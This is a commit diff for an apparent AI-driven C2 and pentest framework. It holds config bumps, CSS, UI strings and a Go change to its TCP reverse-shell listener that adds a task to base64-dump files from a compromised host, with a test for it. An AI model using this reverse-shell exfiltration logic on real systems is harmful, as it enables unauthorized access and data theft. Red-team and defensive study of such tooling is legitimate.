Compare commits

...

18 Commits

Author SHA1 Message Date
公明 60b0bb3252 Update config.yaml 2026-06-08 13:18:38 +08:00
公明 3b9e5f3b1c Add files via upload 2026-06-08 13:17:36 +08:00
公明 1a9694b216 Add files via upload 2026-06-08 13:08:15 +08:00
公明 a1c7e0dc7d Add files via upload 2026-06-07 20:20:41 +08:00
公明 23e08b1697 Add files via upload 2026-06-07 20:20:09 +08:00
公明 9002505569 Add files via upload 2026-06-07 20:18:36 +08:00
公明 b1aaaa79c7 Add files via upload 2026-06-07 20:17:16 +08:00
公明 4edbeb8f2d Add files via upload 2026-06-07 20:15:44 +08:00
公明 5b5a532d4f Add files via upload 2026-06-07 19:12:43 +08:00
公明 c1bd94684c Add files via upload 2026-06-07 15:35:49 +08:00
公明 8b48e5e396 Add files via upload 2026-06-07 05:11:00 +08:00
公明 c2f8ebc743 Add files via upload 2026-06-06 21:43:50 +08:00
公明 15e1a15671 Add files via upload 2026-06-05 17:57:23 +08:00
公明 5c3b157159 Add files via upload 2026-06-05 17:15:50 +08:00
公明 e5f6175277 Add files via upload 2026-06-05 16:54:25 +08:00
公明 1dc5d18fb3 Add files via upload 2026-06-05 15:21:50 +08:00
公明 00ea3d7a9c Update config.yaml 2026-06-05 15:00:17 +08:00
公明 8d48ccdfe4 Add files via upload 2026-06-05 11:41:29 +08:00
20 changed files with 1686 additions and 225 deletions
+3 -3
View File
@@ -10,7 +10,7 @@
# ============================================ # ============================================
# 前端显示的版本号(可选,不填则显示默认版本) # 前端显示的版本号(可选,不填则显示默认版本)
version: "v1.6.31" version: "v1.6.32"
# 服务器配置 # 服务器配置
server: server:
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口 host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
@@ -310,7 +310,7 @@ roles_dir: roles # 角色配置文件目录(相对于配置文件所在目录
project: project:
enabled: true enabled: true
# default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID # default_project_id: "" # 可选:机器人/批量任务创建对话时的默认项目 ID
fact_index_max_runes: 3500 fact_index_max_runes: 6500
fact_summary_max_runes: 240 fact_summary_max_runes: 2400
default_inject_deprecated: false default_inject_deprecated: false
+1 -1
View File
@@ -17,6 +17,7 @@ require (
github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
github.com/cloudwego/eino-ext/components/model/openai v0.1.13 github.com/cloudwego/eino-ext/components/model/openai v0.1.13
github.com/creack/pty v1.1.24 github.com/creack/pty v1.1.24
github.com/disintegration/imaging v1.6.2
github.com/eino-contrib/jsonschema v1.0.3 github.com/eino-contrib/jsonschema v1.0.3
github.com/gin-gonic/gin v1.9.1 github.com/gin-gonic/gin v1.9.1
github.com/google/uuid v1.6.0 github.com/google/uuid v1.6.0
@@ -49,7 +50,6 @@ require (
github.com/cenkalti/backoff/v4 v4.3.0 // indirect github.com/cenkalti/backoff/v4 v4.3.0 // indirect
github.com/cloudwego/base64x v0.1.6 // indirect github.com/cloudwego/base64x v0.1.6 // indirect
github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
github.com/disintegration/imaging v1.6.2 // indirect
github.com/dlclark/regexp2 v1.10.0 // indirect github.com/dlclark/regexp2 v1.10.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect github.com/dustin/go-humanize v1.0.1 // indirect
github.com/evanphx/json-patch v0.5.2 // indirect github.com/evanphx/json-patch v0.5.2 // indirect
Binary file not shown.

Before

Width:  |  Height:  |  Size: 178 KiB

After

Width:  |  Height:  |  Size: 262 KiB

+41 -2
View File
@@ -298,6 +298,12 @@ func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope)
return return
} }
cleaned := cleanShellOutput(output, cmd) cleaned := cleanShellOutput(output, cmd)
if TaskType(env.TaskType) == TaskTypeDownload {
if errMsg := detectDownloadShellError(cleaned); errMsg != "" {
l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "")
return
}
}
l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "") l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
} }
@@ -316,8 +322,8 @@ func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64,
} }
// buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。 // buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
// 仅支持 TCP 反弹模式可直接执行的最简任务类型;upload/download/screenshot 这些 // 仅支持 TCP 反弹模式可直接执行的最简任务类型;download 通过 base64 输出文本结果,
// 需要二进制传输的能力建议使用 http_beacon。 // upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。
func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) { func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
switch t { switch t {
case TaskTypeExec, TaskTypeShell: case TaskTypeExec, TaskTypeShell:
@@ -345,6 +351,16 @@ func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool)
return "", false return "", false
} }
return "cd " + shellQuote(path) + " && pwd", true return "cd " + shellQuote(path) + " && pwd", true
case TaskTypeDownload:
path, _ := payload["remote_path"].(string)
if strings.TrimSpace(path) == "" {
return "", false
}
q := shellQuote(path)
return fmt.Sprintf(
`f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`,
q,
), true
case TaskTypeExit: case TaskTypeExit:
return "exit 0", true return "exit 0", true
} }
@@ -382,6 +398,29 @@ func shellQuote(s string) string {
return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'" return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
} }
// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。
func detectDownloadShellError(output string) string {
trimmed := strings.TrimSpace(output)
if trimmed == "" {
return ""
}
lower := strings.ToLower(trimmed)
markers := []string{
"c2_download_err:",
"no such file",
"permission denied",
"is a directory",
"cannot open",
"not a regular file",
}
for _, m := range markers {
if strings.Contains(lower, m) {
return trimmed
}
}
return ""
}
func isAddrInUse(err error) bool { func isAddrInUse(err error) bool {
if err == nil { if err == nil {
return false return false
+43
View File
@@ -0,0 +1,43 @@
package c2
import (
"strings"
"testing"
)
func TestDetectDownloadShellError(t *testing.T) {
tests := []struct {
name string
output string
want string
}{
{name: "empty ok", output: "", want: ""},
{name: "base64 ok", output: "aGVsbG8=", want: ""},
{name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"},
{name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"},
{name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := detectDownloadShellError(tt.output)
if got != tt.want {
t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want)
}
})
}
}
func TestBuildTCPCommandDownload(t *testing.T) {
cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{
"remote_path": "/tmp/demo.txt",
})
if !ok {
t.Fatal("expected download command to be supported")
}
if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) {
t.Fatalf("command %q should contain %q", cmd, want)
}
if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") {
t.Fatalf("command should validate file before base64: %q", cmd)
}
}
+32 -26
View File
@@ -3,6 +3,7 @@ package database
import ( import (
"database/sql" "database/sql"
"encoding/json" "encoding/json"
"sort"
"strings" "strings"
"time" "time"
@@ -500,23 +501,24 @@ type CallsTimelineBucket struct {
Failed int Failed int
} }
// truncateCallsTimelineBucket 将时间截断到趋势图桶边界(本地时区,与 handler 侧 truncateToBucket 一致)
func truncateCallsTimelineBucket(t time.Time, dailyBuckets bool) time.Time {
t = t.In(time.Local)
if dailyBuckets {
y, m, d := t.Date()
return time.Date(y, m, d, 0, 0, 0, 0, time.Local)
}
return t.Truncate(time.Hour)
}
// LoadCallsTimeline 按时间范围加载调用趋势(since 起至今,含边界) // LoadCallsTimeline 按时间范围加载调用趋势(since 起至今,含边界)
func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) { func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
var bucketExpr string // 在 Go 侧按本地时区分桶,避免 SQLite strftime 对 UTC 存储时间分桶后再误当本地时间解析(差 8h 等问题)
if dailyBuckets {
bucketExpr = `strftime('%Y-%m-%d 00:00:00', start_time)`
} else {
bucketExpr = `strftime('%Y-%m-%d %H:00:00', start_time)`
}
query := ` query := `
SELECT ` + bucketExpr + ` AS bucket, SELECT start_time,
COUNT(*) AS total, CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END AS failed
SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
FROM tool_executions FROM tool_executions
WHERE start_time >= ? WHERE start_time >= ?
GROUP BY bucket
ORDER BY bucket ASC
` `
rows, err := db.Query(query, since) rows, err := db.Query(query, since)
@@ -525,28 +527,32 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
} }
defer rows.Close() defer rows.Close()
var buckets []CallsTimelineBucket bucketMap := make(map[time.Time]struct{ total, failed int })
for rows.Next() { for rows.Next() {
var bucketStr string var startTime time.Time
var total, failed int var failed int
if err := rows.Scan(&bucketStr, &total, &failed); err != nil { if err := rows.Scan(&startTime, &failed); err != nil {
db.logger.Warn("加载调用趋势失败", zap.Error(err)) db.logger.Warn("加载调用趋势失败", zap.Error(err))
continue continue
} }
t, parseErr := time.ParseInLocation("2006-01-02 15:04:05", bucketStr, time.Local) key := truncateCallsTimelineBucket(startTime, dailyBuckets)
if parseErr != nil { entry := bucketMap[key]
t, parseErr = time.Parse("2006-01-02 15:04:05", bucketStr) entry.total++
if parseErr != nil { entry.failed += failed
db.logger.Warn("解析趋势时间桶失败", zap.String("bucket", bucketStr), zap.Error(parseErr)) bucketMap[key] = entry
continue
}
} }
buckets := make([]CallsTimelineBucket, 0, len(bucketMap))
for bucketTime, counts := range bucketMap {
buckets = append(buckets, CallsTimelineBucket{ buckets = append(buckets, CallsTimelineBucket{
BucketTime: t, BucketTime: bucketTime,
Total: total, Total: counts.total,
Failed: failed, Failed: counts.failed,
}) })
} }
sort.Slice(buckets, func(i, j int) bool {
return buckets[i].BucketTime.Before(buckets[j].BucketTime)
})
return buckets, nil return buckets, nil
} }
+14 -3
View File
@@ -56,6 +56,7 @@ func ApplyToEinoChatModelConfig(cfg *einoopenai.ChatModelConfig, oa *config.Open
} }
if mode == "off" { if mode == "off" {
applyThinkingDisabled(cfg)
return return
} }
effort := effectiveEffort(sr, client, allowClient) effort := effectiveEffort(sr, client, allowClient)
@@ -185,11 +186,21 @@ func resolveWireProfile(oa *config.OpenAIConfig, sr *config.OpenAIReasoningConfi
} }
} }
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) { func applyThinkingDisabled(cfg *einoopenai.ChatModelConfig) {
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking. if cfg == nil {
if mode == "off" {
return return
} }
if cfg.ExtraFields == nil {
cfg.ExtraFields = make(map[string]any)
}
if _, exists := cfg.ExtraFields["thinking"]; exists {
return
}
cfg.ExtraFields["thinking"] = map[string]any{"type": "disabled"}
}
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
if mode == "auto" || mode == "on" { if mode == "auto" || mode == "on" {
if cfg.ExtraFields == nil { if cfg.ExtraFields == nil {
cfg.ExtraFields = make(map[string]any) cfg.ExtraFields = make(map[string]any)
+16
View File
@@ -49,6 +49,22 @@ func TestApplyOpenAICompat_xhighExtraField(t *testing.T) {
} }
} }
func TestApplyReasoningOff_disablesThinking(t *testing.T) {
cfg := &einoopenai.ChatModelConfig{}
oa := &config.OpenAIConfig{
BaseURL: "https://api.openai.com/v1",
Model: "gpt-4o",
Reasoning: config.OpenAIReasoningConfig{
Mode: "off",
},
}
ApplyToEinoChatModelConfig(cfg, oa, nil)
th, ok := cfg.ExtraFields["thinking"].(map[string]any)
if !ok || th["type"] != "disabled" {
t.Fatalf("expected thinking disabled, got %#v", cfg.ExtraFields)
}
}
func TestApplyOpenAICompat_maxPassthrough(t *testing.T) { func TestApplyOpenAICompat_maxPassthrough(t *testing.T) {
cfg := &einoopenai.ChatModelConfig{} cfg := &einoopenai.ChatModelConfig{}
oa := &config.OpenAIConfig{ oa := &config.OpenAIConfig{
+222 -8
View File
@@ -772,6 +772,66 @@
border: 1px solid var(--c2-border); border: 1px solid var(--c2-border);
} }
#c2-file-upload-btn.is-disabled,
#c2-file-upload-btn:disabled {
opacity: 0.5;
cursor: not-allowed;
color: var(--c2-text-dim, #94a3b8);
border-color: var(--c2-border, #e2e8f0);
}
.c2-file-upload-hint {
font-size: 12px;
color: #b45309;
background: rgba(245, 158, 11, 0.08);
border: 1px solid rgba(245, 158, 11, 0.25);
border-radius: var(--c2-radius-xs, 4px);
padding: 8px 12px;
margin: -8px 0 12px;
line-height: 1.5;
word-break: break-word;
}
.c2-file-upload-hint[hidden] {
display: none !important;
}
.c2-file-upload-progress {
display: flex;
align-items: center;
gap: 10px;
margin: -8px 0 12px;
padding: 0 4px;
}
.c2-file-upload-progress[hidden] {
display: none !important;
}
.c2-file-upload-progress-track {
flex: 1;
height: 4px;
background: var(--c2-border);
border-radius: 2px;
overflow: hidden;
}
.c2-file-upload-progress-fill {
height: 100%;
width: 0;
background: var(--c2-accent, #3b82f6);
transition: width 0.2s ease;
}
.c2-file-upload-progress-label {
font-size: 11px;
color: var(--c2-text-dim);
white-space: nowrap;
max-width: 220px;
overflow: hidden;
text-overflow: ellipsis;
}
.c2-file-list { .c2-file-list {
background: var(--c2-surface); background: var(--c2-surface);
border-radius: var(--c2-radius); border-radius: var(--c2-radius);
@@ -1218,32 +1278,172 @@
Task Detail Modal Task Detail Modal
============================================================================ */ ============================================================================ */
.c2-task-detail { line-height: 2; } .c2-modal.c2-modal--wide {
.c2-task-detail > div { margin-bottom: 6px; font-size: 13px; } max-width: 720px;
}
.c2-task-modal-header {
align-items: flex-start;
}
.c2-task-modal-heading {
display: flex;
align-items: center;
gap: 12px;
flex-wrap: wrap;
}
.c2-task-modal-heading h3 {
margin: 0;
}
.c2-task-detail {
display: flex;
flex-direction: column;
gap: 20px;
}
.c2-task-detail-grid {
display: grid;
grid-template-columns: repeat(2, minmax(0, 1fr));
gap: 12px;
}
.c2-task-kv {
display: flex;
flex-direction: column;
gap: 6px;
padding: 12px 14px;
background: var(--c2-surface-alt);
border: 1px solid var(--c2-border);
border-radius: var(--c2-radius-sm);
}
.c2-task-kv__label {
font-size: 11px;
font-weight: 600;
letter-spacing: 0.04em;
text-transform: uppercase;
color: var(--c2-text-muted);
}
.c2-task-kv__value {
font-size: 13px;
font-weight: 500;
color: var(--c2-text);
word-break: break-all;
line-height: 1.45;
}
.c2-task-kv__value--mono {
font-family: var(--c2-mono);
font-size: 12px;
color: var(--c2-text-dim);
}
.c2-task-kv__value--accent {
font-family: var(--c2-mono);
font-weight: 600;
color: var(--c2-accent);
}
.c2-task-timeline {
display: grid;
grid-template-columns: repeat(3, minmax(0, 1fr));
gap: 10px;
padding: 14px 16px;
background: linear-gradient(135deg, rgba(59, 130, 246, 0.06), rgba(59, 130, 246, 0.02));
border: 1px solid rgba(59, 130, 246, 0.14);
border-radius: var(--c2-radius-sm);
}
.c2-task-time-card {
display: flex;
flex-direction: column;
gap: 6px;
min-width: 0;
}
.c2-task-time-card:not(:last-child) {
padding-right: 10px;
border-right: 1px solid rgba(59, 130, 246, 0.12);
}
.c2-task-code-section,
.c2-task-error-section {
display: flex;
flex-direction: column;
gap: 10px;
}
.c2-task-code-header {
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
}
.c2-task-code-title {
font-size: 12px;
font-weight: 700;
letter-spacing: 0.04em;
text-transform: uppercase;
color: var(--c2-text-dim);
}
.c2-task-error { .c2-task-error {
color: var(--c2-red); color: var(--c2-red);
padding: 14px; padding: 14px 16px;
background: var(--c2-red-dim); background: var(--c2-red-dim);
border: 1px solid rgba(239, 68, 68, 0.15); border: 1px solid rgba(239, 68, 68, 0.15);
border-radius: var(--c2-radius-sm); border-radius: var(--c2-radius-sm);
margin-top: 12px;
font-size: 13px; font-size: 13px;
line-height: 1.55;
white-space: pre-wrap;
word-break: break-word;
} }
.c2-task-result pre { .c2-task-result-pre,
.c2-task-command-pre {
background: #0f172a; background: #0f172a;
color: #e2e8f0; color: #e2e8f0;
padding: 16px; padding: 14px 16px;
border-radius: var(--c2-radius-sm); border-radius: var(--c2-radius-sm);
overflow-x: auto; overflow-x: auto;
font-family: var(--c2-mono); font-family: var(--c2-mono);
font-size: 12px; font-size: 12px;
margin-top: 8px; margin: 0;
max-height: 400px; max-height: 360px;
overflow-y: auto; overflow-y: auto;
border: 1px solid #1e293b; border: 1px solid #1e293b;
line-height: 1.6; line-height: 1.6;
white-space: pre-wrap;
word-break: break-all;
}
.c2-task-command-pre {
max-height: 140px;
}
.c2-task-command-cell {
max-width: 220px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-family: var(--c2-mono);
font-size: 12px;
color: var(--c2-text-muted, #64748b);
}
.c2-task-item-compact .c2-task-command {
flex: 1;
min-width: 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
font-family: var(--c2-mono);
font-size: 11px;
color: var(--c2-text-muted, #64748b);
} }
/* ============================================================================ /* ============================================================================
@@ -1277,6 +1477,11 @@
Modal Modal
============================================================================ */ ============================================================================ */
/* Toast 须高于模态遮罩 (10050),避免被 backdrop-filter 模糊 */
#c2-toast-container {
z-index: 10100 !important;
}
.c2-modal-overlay { .c2-modal-overlay {
position: fixed; position: fixed;
top: 0; left: 0; right: 0; bottom: 0; top: 0; left: 0; right: 0; bottom: 0;
@@ -1388,4 +1593,13 @@
.c2-stats { flex-direction: column; gap: 12px; } .c2-stats { flex-direction: column; gap: 12px; }
.c2-payload-grid { grid-template-columns: 1fr; } .c2-payload-grid { grid-template-columns: 1fr; }
.c2-listener-grid { grid-template-columns: 1fr; padding: 16px; } .c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
.c2-task-detail-grid { grid-template-columns: 1fr; }
.c2-task-timeline { grid-template-columns: 1fr; }
.c2-task-time-card:not(:last-child) {
padding-right: 0;
padding-bottom: 10px;
border-right: none;
border-bottom: 1px solid rgba(59, 130, 246, 0.12);
}
.c2-modal.c2-modal--wide { max-width: 100%; }
} }
+136 -14
View File
@@ -1217,13 +1217,6 @@ header {
user-select: none; user-select: none;
} }
.hitl-sidebar-header-actions {
display: flex;
align-items: center;
gap: 6px;
flex-shrink: 0;
}
.hitl-sidebar-body { .hitl-sidebar-body {
overflow: hidden; overflow: hidden;
max-height: 500px; max-height: 500px;
@@ -1238,10 +1231,6 @@ header {
margin-top: 0; margin-top: 0;
} }
.hitl-sidebar-collapsed .hitl-apply-btn {
display: none;
}
.hitl-sidebar-heading { .hitl-sidebar-heading {
display: flex; display: flex;
align-items: center; align-items: center;
@@ -1359,6 +1348,14 @@ header {
margin-bottom: 0; margin-bottom: 0;
} }
.hitl-config-actions {
display: flex;
justify-content: flex-end;
margin-top: 14px;
padding-top: 12px;
border-top: 1px solid rgba(15, 23, 42, 0.06);
}
.hitl-config-label { .hitl-config-label {
display: block; display: block;
font-size: 12px; font-size: 12px;
@@ -2532,8 +2529,8 @@ header {
.conversation-reasoning-card-header { .conversation-reasoning-card-header {
display: flex; display: flex;
align-items: center; align-items: center;
justify-content: flex-start; justify-content: space-between;
gap: 0; gap: 8px;
width: 100%; width: 100%;
padding: 0; padding: 0;
margin: 0; margin: 0;
@@ -2548,10 +2545,34 @@ header {
border-radius: 0; border-radius: 0;
} }
.conversation-reasoning-card-header:hover .conversation-reasoning-title { .conversation-reasoning-card-header:hover .conversation-reasoning-title,
.hitl-sidebar-card-header:hover .hitl-sidebar-title {
color: var(--accent-color); color: var(--accent-color);
} }
.sidebar-card-chevron {
flex-shrink: 0;
display: flex;
align-items: center;
justify-content: center;
color: var(--text-secondary);
transition: transform 0.2s ease, color 0.2s ease;
}
.sidebar-card-chevron svg {
display: block;
}
.conversation-reasoning-card-header:hover .sidebar-card-chevron,
.hitl-sidebar-card-header:hover .sidebar-card-chevron {
color: var(--accent-color);
}
.conversation-reasoning-card:not(.conversation-reasoning-collapsed) .conversation-reasoning-chevron,
.hitl-sidebar-card:not(.hitl-sidebar-collapsed) .hitl-sidebar-chevron {
transform: rotate(90deg);
}
.conversation-reasoning-heading { .conversation-reasoning-heading {
display: flex; display: flex;
align-items: center; align-items: center;
@@ -5535,6 +5556,80 @@ header {
padding-bottom: 0; padding-bottom: 0;
} }
/* Skill 包内文件树:区分不可点击的文件夹与可点击的文件 */
#skill-package-tree {
flex: 0 0 240px;
max-height: 440px;
overflow: auto;
border: 1px solid var(--border-color);
border-radius: 6px;
padding: 6px 4px;
font-size: 13px;
line-height: 1.4;
}
.skill-package-tree-hint {
display: block;
font-size: 12px;
color: var(--text-muted);
margin: 4px 0 8px;
line-height: 1.45;
}
.skill-tree-row {
display: flex;
align-items: flex-start;
gap: 6px;
padding: 5px 8px;
border-radius: 4px;
margin-bottom: 1px;
min-width: 0;
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
font-size: 12px;
word-break: break-all;
line-height: 1.35;
}
.skill-tree-dir {
color: var(--text-muted);
cursor: default;
user-select: none;
font-weight: 500;
opacity: 0.88;
}
.skill-tree-dir .skill-tree-icon {
opacity: 0.65;
}
.skill-tree-file {
color: var(--text-primary);
cursor: pointer;
transition: background 0.15s ease;
}
.skill-tree-file:hover {
background: rgba(0, 102, 255, 0.08);
}
.skill-tree-file.is-selected {
font-weight: 600;
background: rgba(99, 102, 241, 0.12);
color: var(--accent-color);
}
.skill-tree-icon {
flex-shrink: 0;
width: 1.15em;
text-align: center;
line-height: 1.35;
}
.skill-tree-label {
min-width: 0;
flex: 1;
}
.pagination-fixed { .pagination-fixed {
background: var(--bg-primary); background: var(--bg-primary);
margin-top: 0; margin-top: 0;
@@ -21089,6 +21184,11 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
gap: 12px; gap: 12px;
} }
/* 全局 Toast 须高于模态遮罩 (10050) */
#toast-notification-container {
z-index: 10100 !important;
}
.chat-files-toast { .chat-files-toast {
position: fixed; position: fixed;
z-index: 1100; z-index: 1100;
@@ -22185,6 +22285,28 @@ button.chat-files-dropdown-item:hover:not(:disabled) {
.projects-panel-toolbar--hint .projects-fact-toolbar-hint { .projects-panel-toolbar--hint .projects-fact-toolbar-hint {
margin: 0; margin: 0;
} }
#project-panel-facts .data-table--projects th:nth-child(1) { width: 20%; }
#project-panel-facts .data-table--projects th:nth-child(2) { width: 9%; }
#project-panel-facts .data-table--projects th:nth-child(3) { width: 30%; }
#project-panel-facts .data-table--projects th:nth-child(4) { width: 9%; }
#project-panel-facts .data-table--projects th:nth-child(5) { width: 10%; }
#project-panel-facts .data-table--projects th:nth-child(6) { width: 10%; }
#project-panel-facts .data-table--projects .cell-fact-key {
overflow: hidden;
max-width: 0;
}
#project-panel-facts .data-table--projects .cell-fact-category {
white-space: nowrap;
}
#project-panel-facts .projects-fact-key-chip {
display: inline-block;
max-width: 100%;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
vertical-align: top;
box-sizing: border-box;
}
#project-panel-conversations .data-table--projects th:nth-child(1), #project-panel-conversations .data-table--projects th:nth-child(1),
#project-panel-conversations .data-table--projects td:nth-child(1) { #project-panel-conversations .data-table--projects td:nth-child(1) {
width: 48%; width: 48%;
+20 -1
View File
@@ -2257,6 +2257,9 @@
"descriptionPlaceholder": "Short description", "descriptionPlaceholder": "Short description",
"descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)", "descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
"packageFiles": "Package files", "packageFiles": "Package files",
"packageFilesHint": "Click a file to edit; folders are labels only and cannot be opened",
"folderHint": "Folder (not editable)",
"clickToEdit": "Click to edit this file",
"editingFile": "Editing", "editingFile": "Editing",
"newFile": "New file", "newFile": "New file",
"newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh", "newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
@@ -2543,6 +2546,15 @@
"files": { "files": {
"parent": "Parent", "parent": "Parent",
"refresh": "Refresh", "refresh": "Refresh",
"upload": "Upload",
"uploading": "Uploading {{name}} · {{percent}}%",
"uploadOk": "Uploaded",
"uploadQueued": "Upload task queued",
"uploadPendingApproval": "Upload task pending HITL approval",
"uploadUnsupported": "Upload is not supported for this session",
"uploadCurlBeacon": "Curl beacons cannot upload files; use an HTTP Beacon",
"uploadTcpShell": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
"uploadTcpReverse": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
"loading": "Loading…", "loading": "Loading…",
"timeout": "Timed out loading files", "timeout": "Timed out loading files",
"emptyDir": "Empty directory", "emptyDir": "Empty directory",
@@ -2552,6 +2564,7 @@
"colActions": "Actions", "colActions": "Actions",
"open": "Open", "open": "Open",
"download": "Download", "download": "Download",
"downloadOk": "Downloaded",
"failed": "Failed" "failed": "Failed"
}, },
"listeners": { "listeners": {
@@ -2668,7 +2681,7 @@
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)", "confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
"toastExitSent": "Exit command sent", "toastExitSent": "Exit command sent",
"toastSessionDeleted": "Session record deleted", "toastSessionDeleted": "Session record deleted",
"terminalWelcome": "CyberStrikeAI C2 Terminal — AI-Native Command & Control", "terminalWelcome": "CyberStrikeAI C2 Terminal — Enter to run; ↑↓ history; Ctrl+L clear; Ctrl+C cancel input",
"termStatusReady": "Ready", "termStatusReady": "Ready",
"termStatusExec": "Executing…", "termStatusExec": "Executing…",
"termStatusErr": "Error", "termStatusErr": "Error",
@@ -2677,6 +2690,9 @@
"termWaitTimeout": "[Timed out waiting for result]", "termWaitTimeout": "[Timed out waiting for result]",
"termCleared": "Terminal cleared", "termCleared": "Terminal cleared",
"termNoSelection": "No text selected", "termNoSelection": "No text selected",
"termWaitFinish": "Please wait for the current command to finish",
"termCtrlC": "Remote interrupt is not supported in this version",
"termQueued": "[Command queued — will run after the current task completes]",
"clearTerminal": "Clear" "clearTerminal": "Clear"
}, },
"tasks": { "tasks": {
@@ -2703,6 +2719,7 @@
"colTask": "Task", "colTask": "Task",
"colSession": "Session", "colSession": "Session",
"colType": "Type", "colType": "Type",
"colCommand": "Command",
"colStatus": "Status", "colStatus": "Status",
"colDuration": "Duration", "colDuration": "Duration",
"colCreated": "Created", "colCreated": "Created",
@@ -2713,6 +2730,8 @@
"labelId": "ID", "labelId": "ID",
"labelSession": "Session", "labelSession": "Session",
"labelType": "Type", "labelType": "Type",
"labelCommand": "Command",
"labelPayload": "Payload",
"labelStatus": "Status", "labelStatus": "Status",
"labelCreated": "Created", "labelCreated": "Created",
"labelSent": "Sent", "labelSent": "Sent",
+20 -1
View File
@@ -2246,6 +2246,9 @@
"descriptionPlaceholder": "Skill的简短描述", "descriptionPlaceholder": "Skill的简短描述",
"descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)", "descriptionHint": "对应 SKILL.md 中 YAML 的 description 字段(创建/编辑 SKILL.md 时使用)",
"packageFiles": "包内文件", "packageFiles": "包内文件",
"packageFilesHint": "点击文件进行编辑;文件夹仅作分组展示,不可点击",
"folderHint": "文件夹(不可编辑)",
"clickToEdit": "点击编辑此文件",
"editingFile": "正在编辑", "editingFile": "正在编辑",
"newFile": "新建文件", "newFile": "新建文件",
"newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh", "newFilePlaceholder": "新文件路径,如 FORMS.md 或 scripts/extra.sh",
@@ -2532,6 +2535,15 @@
"files": { "files": {
"parent": "上级目录", "parent": "上级目录",
"refresh": "刷新", "refresh": "刷新",
"upload": "上传",
"uploading": "正在上传 {{name}} · {{percent}}%",
"uploadOk": "上传成功",
"uploadQueued": "上传任务已入队",
"uploadPendingApproval": "上传任务待人机协同审批",
"uploadUnsupported": "当前会话不支持上传",
"uploadCurlBeacon": "Curl 轻量信标不支持文件上传,请使用 HTTP Beacon",
"uploadTcpShell": "当前为 TCP 反弹 Shellbash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
"uploadTcpReverse": "当前为 TCP 反弹 Shellbash/nc),仅支持命令与下载。上传请改用:① 同一监听器下编译 CSB1 Beacon,或 ② HTTP/HTTPS Beacon 重新上线。",
